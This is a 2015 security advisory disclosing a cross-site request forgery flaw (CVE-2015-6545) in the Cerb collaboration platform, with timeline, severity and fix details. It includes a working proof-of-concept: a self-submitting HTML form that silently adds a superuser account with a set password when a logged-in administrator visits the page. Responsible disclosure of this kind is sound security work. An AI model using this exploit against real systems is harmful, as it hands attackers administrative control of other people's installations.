Cross-Site Request Forgery in Cerb

[High-Tech Bridge Security Research <advisory () htbridge ch>]

Advisory ID: HTB23269
Product: Cerb
Vendor: Webgroup Media LLC
Vulnerable Version(s): 7.0.3 and probably prior
Tested Version: 7.0.3
Advisory Publication:  August 12, 2015  [without technical details]
Vendor Notification: August 12, 2015 
Vendor Patch: August 14, 2015 
Public Disclosure: September 2, 2015 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2015-6545
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered CSRF vulnerability in Cerb platform, which can be exploited to 
perform Cross-Site Request Forgery attacks against administrators of vulnerable web application to add administrate 
accounts into the system.  

The vulnerability exists due to failure of the "/ajax.php" script to properly verify the source of incoming HTTP 
request. Taking into consideration that Cerb is a business-critical application, this security flaw may be quite 
dangerous if exploited by malicious attackers.

A simple exploit below will add admin user into the system when a logged-in victim opens a malicious page with the 
exploit:


<form action="http://[host]/ajax.php"; method = "POST">
<input type="hidden" name="c" value="config">
<input type="hidden" name="a" value="handleSectionAction">
<input type="hidden" name="section" value="workers">
<input type="hidden" name="action" value="saveWorkerPeek">
<input type="hidden" name="id" value="0">
<input type="hidden" name="view_id" value="workers_cfg">
<input type="hidden" name="do_delete" value="0">
<input type="hidden" name="first_name" value="first name">
<input type="hidden" name="last_name" value="last name">
<input type="hidden" name="title" value="title">
<input type="hidden" name="email" value="username () mail com">
<input type="hidden" name="at_mention_name" value="name">
<input type="hidden" name="is_disabled" value="0">
<input type="hidden" name="is_superuser" value="1">
<input type="hidden" name="lang_code" value="en_US">
<input type="hidden" name="timezone" value="Antarctica%2FTroll">
<input type="hidden" name="time_format" value="D%2C+d+M+Y+h%3Ai+a">
<input type="hidden" name="auth_extension_id" value="login.password">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_verify" value="password">
<input type="hidden" name="calendar_id" value="new">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>




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Solution:

Update to Cerb 7.0.4

More Information:
https://github.com/wgm/cerb/commit/12de87ff9961a4f3ad2946c8f47dd0c260607144
http://wiki.cerbweb.com/7.0#7.0.4

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References:

[1] High-Tech Bridge Advisory HTB23269 - https://www.htbridge.com/advisory/HTB23269 - Cross-Site Request Forgery in 
Cerb.
[2] Cerb - http://www.cerberusweb.com/ - Cerb is a fast and flexible platform for enterprise collaboration, 
productivity, and automation.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and 
cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.